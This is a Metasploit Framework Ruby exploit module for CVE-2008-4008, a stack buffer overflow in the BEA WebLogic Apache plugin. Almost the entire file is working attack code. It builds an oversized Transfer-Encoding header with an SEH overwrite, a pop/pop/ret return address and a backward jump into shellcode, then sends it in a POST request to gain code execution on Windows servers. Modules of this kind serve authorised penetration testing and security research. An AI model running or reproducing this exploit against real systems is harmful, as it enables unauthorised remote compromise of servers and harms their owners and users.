##
# $Id: bea_weblogic_transfer_encoding.rb 9744 2010-07-08 23:34:50Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
HttpFingerprint = { :pattern => [ /Apache/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'BEA Weblogic Transfer-Encoding Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in the BEA
Weblogic Apache plugin. This vulnerability exists in the
error reporting for unknown Transfer-Encoding headers.
You may have to run this twice due to timing issues with handlers.
},
'Author' => 'pusscat',
'Version' => '$Revision: 9744 $',
'References' =>
[
[ 'CVE', '2008-4008' ],
[ 'OSVDB', '49283' ],
[ 'URL', 'http://support.bea.com/application_content/product_portlets/securityadvisories/2806.html'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Privileged' => true,
'Platform' => 'win',
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x0d\x0a",
'StackAdjustment' => -1500,
},
'Targets' =>
[
[ 'Windows Apache 2.2 version Universal',
{
'Ret' => 0x1001f4d6, #pop/pop/ret
}
],
],
'DisclosureDate' => 'Sept 09 2008',
'DefaultTarget' => 0))
end
def exploit
sploit = rand_text_alphanumeric(5800)
sploit[5781, 8] = generate_seh_record(target.ret)
# Jump backward to the payload
sploit[5789, 5] = "\xe9\x5e\xe9\xff\xff"
sploit[0, payload.encoded.length+7] = make_nops(7) + payload.encoded
datastore['VHOST'] = 'localhost'
send_request_cgi(
{
'method' => 'POST',
'url' => '/index.jsp',
'data' => '',
'headers' =>
{
'Transfer-Encoding' => sploit
}
})
handler
end
end